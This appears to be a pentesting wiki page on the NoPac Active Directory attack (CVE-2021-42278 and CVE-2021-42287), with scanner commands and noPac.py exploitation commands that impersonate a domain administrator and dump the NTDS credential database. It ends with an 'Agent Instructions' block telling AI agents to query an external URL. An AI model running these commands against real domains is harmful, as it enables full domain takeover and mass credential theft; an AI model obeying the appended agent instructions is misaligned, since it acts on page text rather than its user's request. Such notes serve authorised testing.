# NoPac

The exploitation of both CVE-2021-42278 and CVE-2021-42287 allows for a standard domain user to impersonate a domain administrator, ultimately gaining full access to the domain.&#x20;

### Verification

Verifying if a domain controller is vulnerable to NoPac requires a valid domain user account. Additionally, your time will have to be synced with the domain controller if any issues are output when running validation with publicly available proof of concepts of CrackMapExec.&#x20;

```bash
# CrackMapExec
crackmapexec smb $host -u $user -p $password -M nopac

# https://github.com/Ridter/noPac
python scanner.py parzival.com/parzival:'1qaz@WSX' -dc-ip $dcip
```

### Exploitation

When attempting to exploit NoPac, I have found that updating `/etc/hosts` with the hostname of the domain controller often results in more reliable exploitation.

```bash
# https://github.com/Ridter/noPac
## Dump the NTDS from the Domain Controller (preferred exploitation action)
python noPac.py parzival.com/parzival:'1qaz@WSX' -dc-ip $dcip -dc-host $dcfqdn --impersonate administrator -dump

## Get Service Ticket
python noPac.py parzival.com/parzival:'1qaz@WSX' -dc-ip $dcip
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ttp.parzival.sh/pentesting/infrastructure/active-directory/nopac.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
